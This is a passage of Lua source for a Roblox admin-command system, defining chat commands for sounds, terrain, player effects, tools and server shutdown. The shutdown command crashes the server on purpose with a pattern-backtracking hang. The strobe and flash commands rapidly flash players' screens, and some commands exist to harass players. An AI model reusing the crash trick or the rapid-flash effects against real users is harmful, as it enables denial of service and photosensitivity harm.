6367 [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
6368 local List,Correlate,SoundName = {},{},{}
6369 for Name,Info in pairs(SoundList) do
6370 local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
6371 table.insert(List, View)
6372 Correlate[View] = Info[1]
6373 end
6374
6375 local CanClick = true
6376 if Rank == "Member" then CanClick = false end
6377 local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
6378 Clicked.Event:connect(function(ClickName)
6379 local OldSoundId = nil
6380 SOUND:StopGlobalSound()
6381 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6382 SOUND:PlayGlobalSound(Correlate[ClickName])
6383 end
6384 end)
6385 end};
6386
6387 [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6388 SOUND:SyncSoundList(Speaker)
6389 end};
6390
6391 [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6392 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
6393 if Answer == "Yes" then
6394 Server.Workspace.Terrain:Clear()
6395 end
6396 end};
6397
6398 [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
6399 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
6400 if Answer == "Yes" then
6401 for _,Obj in pairs(Workspace:GetChildren()) do
6402 if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
6403 Obj:Destroy()
6404 end
6405 end
6406 end
6407 end};
6408
6409 [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6410 CORE:MakeBase()
6411 end};
6412
6413 [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
6414 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6415 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6416 CustomSounds = {}
6417 end
6418 if tostring(Arguments[1]) then
6419 local Request = MARKET:GetItemInfo(Arguments[1])
6420 if Request.AssetTypeId == 3 then
6421 table.insert(CustomSounds, {Arguments[2], Arguments[1]})
6422 SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
6423 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6424 GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
6425 else
6426 GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
6427 end
6428 end
6429 end};
6430
6431 [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
6432 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6433 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6434 CustomSounds = {}
6435 end
6436
6437 local Removed = {}
6438 for Num,Data in pairs(CustomSounds) do
6439 if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
6440 table.insert(Removed, Data[1])
6441 table.remove(CustomSounds, Num)
6442 end
6443 end
6444
6445 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6446
6447 SOUND:SyncSoundList()
6448
6449 if #Removed > 0 then
6450 GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
6451 else
6452 GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
6453 end
6454 end};
6455
6456 [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
6457 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
6458 if Answer == "Yes" then
6459 Server.GDS:SetAsync("MML Custom Sounds", {})
6460 SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
6461 GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
6462 end
6463 end};
6464
6465 [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6466 local Players = STRING:Scan(Arguments[1], Speaker)
6467 local SpeakerTesting = false
6468 for _,Player in pairs(Players) do
6469 if Player == Speaker then SpeakerTesting = true end
6470 if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
6471 CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
6472 --wait(10)
6473 --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
6474 end)() end
6475 end
6476 if SpeakerTesting == false then
6477 GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
6478 end
6479 end};
6480
6481 [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
6482 local Players = STRING:Scan(Arguments[1], Speaker)
6483 local Compile = {}
6484 for _,Player in pairs(Players) do
6485 local PlayerInfo = ClientInfo[Player.Name]
6486 if PlayerInfo then
6487 if PlayerInfo.Benchmark then
6488 table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
6489 else
6490 table.insert(Compile, Player.Name..": No score")
6491 end
6492 end
6493 end
6494 GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
6495 end};
6496
6497 [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
6498 local Players = STRING:Scan(Arguments[1], Speaker)
6499 for _,Player in pairs(Players) do
6500 CORE:Chatted(Arguments[2], Player, true)
6501 end
6502 end};
6503
6504 [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
6505 CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
6506 end};
6507
6508 [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
6509 local Players = STRING:Scan(Arguments[1], Speaker)
6510 for _,Player in pairs(Players) do
6511 if Player.Character ~= nil then
6512 if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
6513 if Player.Character.Torso:FindFirstChild("Neck") then
6514 Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6515 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6516 Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
6517 local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
6518 local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
6519 end
6520 end
6521 end
6522 end
6523 end};
6524
6525 [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
6526 local Players = STRING:Scan(Arguments[1], Speaker)
6527 for _,Player in pairs(Players) do
6528 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
6529 Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6530 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6531 end
6532 end
6533 end};
6534
6535 [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
6536 local Players = STRING:Scan(Arguments[1], Speaker)
6537 for _,Player in pairs(Players) do
6538 local _,RankNum = RANK:GetRank(Player)
6539 if RankNum <= RANK:ConvertRank(Rank) then
6540 CORE:FlingPlayer(Player)
6541 end
6542 end
6543 end};
6544
6545 [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
6546 local Players = STRING:Scan(Arguments[1], Speaker)
6547 for _,Player in pairs(Players) do
6548 local _,RankNum = RANK:GetRank(Player)
6549 if RankNum <= RANK:ConvertRank(Rank) then
6550 Flings[Player.Name] = true
6551 CORE:FlingPlayer(Player)
6552 end
6553 end
6554 end};
6555
6556 [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
6557 local Players = STRING:Scan(Arguments[1], Speaker)
6558 for _,Player in pairs(Players) do
6559 local _,RankNum = RANK:GetRank(Player)
6560 if RankNum <= RANK:ConvertRank(Rank) then
6561 Flings[Player.Name] = nil
6562 end
6563 end
6564 end};
6565
6566 [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6567 local Players = STRING:Scan(Arguments[1], Speaker)
6568 for _,Player in pairs(Players) do
6569 CORE:Nuke(Player)
6570 end
6571 end};
6572
6573 [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6574 local Players = STRING:Scan(Arguments[1], Speaker)
6575 for _,Player in pairs(Players) do
6576 Beeps[Player.Name] = true
6577 SOUND:BeepPlayer(Player)
6578 end
6579 end};
6580
6581 [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6582 local Players = STRING:Scan(Arguments[1], Speaker)
6583 for _,Player in pairs(Players) do
6584 if Player.PlayerGui then
6585 Beeps[Player.Name] = nil
6586 for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
6587 if Obj.Name == "Annoy" then
6588 Obj:Stop()
6589 Obj:Destroy()
6590 end
6591 end
6592 end
6593 end
6594 end};
6595
6596 [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
6597 local Time = Arguments[1]
6598 if Time == "day" or Time == "noon" then Time = "12" end
6599 if Time == "night" or Time == "midnight" then Time = "0" end
6600 if Time == "dawn" or Time == "morning" then Time = "6:15" end
6601 if Time == "dusk" or Time == "evening" then Time = "17:45" end
6602 if Time == "afternoon" then Time = "15:30" end
6603 ypcall(function() Server.Lighting.TimeOfDay = Time end)
6604 end};
6605
6606 [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
6607 local Players = STRING:Scan(Arguments[1], Speaker)
6608 for _,Player in pairs(Players) do
6609 MARKET:PromptPurchase(Player, Arguments[2], Speaker)
6610 end
6611 end};
6612
6613 [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6614 local AbuseMode = false
6615 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6616 local Players = STRING:Scan(Arguments[1], Speaker)
6617 for _,Player in pairs(Players) do
6618 CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6619 end
6620 end};
6621
6622 [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
6623 local Players = STRING:Scan(Arguments[1], Speaker)
6624 for _,Player in pairs(Players) do
6625 CORE:Insert(125013769, Player.Backpack, true)
6626 end
6627 end};
6628
6629 [{"accessory", "acs", "hat"}] = {"player ID", "Gives player the accessory with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6630 local Players = STRING:Scan(Arguments[1], Speaker)
6631 for _,Player in pairs(Players) do
6632 if Player.Character then
6633 CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
6634 end
6635 end
6636 end};
6637
6638 [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
6639 CORE:ResetLighting()
6640 repeat
6641 Server.Lighting.Ambient = Color3.new(1,1,1)
6642 Server.Lighting.FogColor = Color3.new(1,1,1)
6643 Server.Lighting.Brightness = 1
6644 Server.Lighting.TimeOfDay = 14
6645 wait(0.1)
6646 Server.Lighting.Ambient = Color3.new(0,0,0)
6647 Server.Lighting.FogColor = Color3.new(0,0,0)
6648 Server.Lighting.Brightness = 0
6649 Server.Lighting.TimeOfDay = 0
6650 wait(0.1)
6651 until ModLighting == false
6652 end};
6653
6654 [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
6655 CORE:ResetLighting()
6656 repeat
6657 local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6658 Server.Lighting.Ambient = Color
6659 Server.Lighting.FogColor = Color
6660 Server.Lighting.TimeOfDay = 0
6661 Server.Lighting.FogEnd = 500
6662 wait(0.1)
6663 until ModLighting == false
6664 end};
6665
6666 [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
6667 CORE:FixLighting()
6668 end};
6669
6670 [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
6671 local Players = STRING:Scan(Arguments[1], Speaker)
6672 for _,Player in pairs(Players) do
6673 if Player:FindFirstChild("PlayerGui") then
6674 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6675 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6676 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
6677 coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
6678 end
6679 end
6680 end};
6681
6682 [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
6683 local Players = STRING:Scan(Arguments[1], Speaker)
6684 for _,Player in pairs(Players) do
6685 if Player:FindFirstChild("PlayerGui") then
6686 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6687 end
6688 end
6689 end};
6690
6691 [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
6692 local Players = STRING:Scan(Arguments[1], Speaker)
6693 for _,Player in pairs(Players) do
6694 if Player:FindFirstChild("PlayerGui") then
6695 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6696 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6697 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
6698 end
6699 end
6700 end};
6701
6702 [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
6703 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
6704 if Suc then
6705 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
6706 else
6707 Server.TS:Teleport(game.PlaceId, Speaker)
6708 end
6709 end};
6710
6711 [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6712 GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
6713 end};
6714
6715 [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6716 local NewAbuse = Arguments[1]
6717 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6718 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6719 end
6720
6721 local Match = false
6722 for _,AbuseCmd in pairs(Settings.AbuseList) do
6723 if string.lower(AbuseCmd) == string.lower(NewAbuse) then
6724 Match = true
6725 break
6726 end
6727 end
6728 if not Match then
6729 table.insert(Settings.AbuseList, NewAbuse)
6730 GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
6731 else
6732 GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
6733 end
6734 CORE:SetAbuseCommands()
6735 end};
6736
6737 [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6738 local NewAbuse = Arguments[1]
6739 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6740 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6741 end
6742
6743 local Removed = false
6744 for Num,AbuseCmd in pairs(Settings.AbuseList) do
6745 if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
6746 Removed = true
6747 table.remove(Settings.AbuseList, Num)
6748 end
6749 end
6750 if Removed then
6751 GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
6752 else
6753 GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
6754 end
6755 CORE:SetAbuseCommands()
6756 end};
6757
6758 [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
6759 local Players = STRING:Scan(Arguments[1], Speaker)
6760 for _,Player in pairs(Players) do
6761 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6762 Player.Character.Humanoid.MaxHealth = math.huge
6763 Player.Character.Humanoid.Health = math.huge
6764 end
6765 end
6766 end};
6767
6768 [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
6769 local Players = STRING:Scan(Arguments[1], Speaker)
6770 for _,Player in pairs(Players) do
6771 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6772 if Player.Character.Humanoid.MaxHealth == math.huge then
6773 Player.Character.Humanoid.MaxHealth = 100
6774 Player.Character.Humanoid.Health = 100
6775 else
6776 Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
6777 end
6778 end
6779 end
6780 end};
6781
6782 [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
6783 local Players = STRING:Scan(Arguments[1], Speaker)
6784 for _,Player in pairs(Players) do
6785 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6786 local Char = Player.Character
6787 repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
6788 end
6789 end
6790 end};
6791
6792 [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6793 if tonumber(Arguments[2]) then
6794 local Players = STRING:Scan(Arguments[1], Speaker)
6795 for _,Player in pairs(Players) do
6796 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6797 Player.Character.Humanoid.Health = Arguments[2]
6798 end
6799 end
6800 end
6801 end};
6802
6803 [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6804 if tonumber(Arguments[2]) then
6805 local Players = STRING:Scan(Arguments[1], Speaker)
6806 for _,Player in pairs(Players) do
6807 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6808 local Speed = tonumber(Arguments[2])
6809 if Speed then
6810 if Rank == "Member" then
6811 if Speed > 1000 then Speed = 1000
6812 elseif Speed < -1000 then Speed = -1000 end
6813 end
6814 Player.Character.Humanoid.WalkSpeed = Speed
6815 end
6816 end
6817 end
6818 end
6819 end};
6820
6821 [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
6822 if tonumber(Arguments[2]) then
6823 local Players = STRING:Scan(Arguments[1], Speaker)
6824 for _,Player in pairs(Players) do
6825 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6826 Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
6827 end
6828 end
6829 end
6830 end};
6831
6832 [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
6833 local Players = STRING:Scan(Arguments[1], Speaker)
6834 for _,Player in pairs(Players) do
6835 CORE:Fly(Player, 10000)
6836 end
6837 end};
6838
6839 [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
6840 local Players = STRING:Scan(Arguments[1], Speaker)
6841 for _,Player in pairs(Players) do
6842 CORE:Fly(Player, 1000000)
6843 end
6844 end};
6845
6846 [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
6847 local Players = STRING:Scan(Arguments[1], Speaker)
6848 for _,Player in pairs(Players) do
6849 if Player.Character then
6850 if Player.Character:FindFirstChild("StopMMLFly") then
6851 Player.Character.StopMMLFly:InvokeClient(Player)
6852 end
6853 end
6854 end
6855 end};
6856
6857 [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
6858 ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{}
6859 GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
6860 end};
6861
6862 [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
6863 local Players = STRING:Scan(Arguments[1], Speaker)
6864 for _,Player in pairs(Players) do
6865 CORE:GiveTools(Player, Arguments[2])
6866 end
6867 end};
6868
6869 [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
6870 local List = {}
6871 for _,Region in pairs(ToolRegions) do
6872 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
6873 table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
6874 end)
6875 end
6876
6877 GUI:ListGui(Speaker, "Tool list", List, 73589272)
6878 end};
6879
6880 [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
6881 local Players = STRING:Scan(Arguments[1], Speaker)
6882 for _,Player in pairs(Players) do
6883 CORE:GiveTools(Player, "btools")
6884 end
6885 end};
6886
6887 [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
6888 REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
6889 for _,Player in pairs(Server.Players:GetPlayers()) do
6890 Player:Kick()
6891 end
6892 Server.Workspace:ClearAllChildren()
6893 string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
6894 end};
6895
6896 [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6897 local Players = STRING:Scan(Arguments[1], Speaker)
6898 for _,Player in pairs(Players) do
6899 CORE:Scale(Player, Arguments[2])
6900 end
6901 end};
6902
6903 [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
6904 local Players = STRING:Scan(Arguments[1], Speaker)
6905 for _,Player in pairs(Players) do
6906 CORE:Scale(Player, 50)
6907 end
6908 end};
6909
6910 [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
6911 local Players = STRING:Scan(Arguments[1], Speaker)
6912 for _,Player in pairs(Players) do
6913 CORE:Scale(Player, 70)
6914 end
6915 end, Hidden = true};
6916
6917 [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
6918 local Players = STRING:Scan(Arguments[1], Speaker)
6919 for _,Player in pairs(Players) do
6920 CORE:Scale(Player, 500)
6921 end
6922 end};
6923
6924 [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
6925 local Players = STRING:Scan(Arguments[1], Speaker)
6926 for _,Player in pairs(Players) do
6927 if Player.Character then
6928 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6929 Obj.Reflectance = 0.5
6930 Obj.BrickColor = BrickColor.new("New Yeller")
6931 end)
6932 end
6933 end
6934 end};
6935
6936 [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
6937 local Players = STRING:Scan(Arguments[1], Speaker)
6938 for _,Player in pairs(Players) do
6939 if Player.Character then
6940 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6941 Obj.Reflectance = 0.5
6942 end)
6943 end
6944 end
6945 end};
6946
6947 [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
6948 local Players = STRING:Scan(Arguments[1], Speaker)
6949 for _,Player in pairs(Players) do
6950 if Player.Character then
6951 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6952 Obj.Transparency = 0.5
6953 Obj.Reflectance = 0
6954 Obj.BrickColor = BrickColor.new("Institutional white")
6955 end)
6956 CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj)
6957 Obj.Transparency = 0.5
6958 end)
6959 end
6960 end
6961 end};
6962
6963 [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
6964 local Players = STRING:Scan(Arguments[1], Speaker)
6965 for _,Player in pairs(Players) do
6966 if Player.Character then
6967 for _,Obj in pairs(Player.Character:GetChildren()) do
6968 local Valid = false
6969 for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6970 if Valid == true then Obj:Destroy() end
6971 end
6972 end
6973 end
6974 end};
6975
6976 [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
6977 local Players = STRING:Scan(Arguments[1], Speaker)
6978 for _,Player in pairs(Players) do
6979 if Player.Character then
6980 for _,Obj in pairs(Player.Character:GetChildren()) do
6981 local Valid = false
6982 for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
6983 if Valid == true then Obj:Destroy() end
6984 end
6985 end
6986 end
6987 end};
6988
6989 [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
6990 local Players = STRING:Scan(Arguments[1], Speaker)
6991 for _,Player in pairs(Players) do
6992 if Player.Character then
6993 for _,Obj in pairs(Player.Character:GetChildren()) do
6994 local Valid = false
6995 for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6996 if Valid == true then Obj:Destroy() end
6997 end
6998 end
6999 end
7000 end};
7001
7002 [{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments)
7003 local Players = STRING:Scan(Arguments[1], Speaker)
7004 for _,Player in pairs(Players) do
7005 if Player.Character then
7006 for _,Obj in pairs(Player.Character:GetChildren()) do
7007 if Obj:IsA("Accoutrement") then
7008 Obj:Destroy()
7009 end
7010 end
7011 end
7012 end
7013 end};
7014
7015 [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
7016 local Players = STRING:Scan(Arguments[1], Speaker)
7017 for _,Player in pairs(Players) do
7018 Player:ClearCharacterAppearance()
7019 end
7020 end};
7021
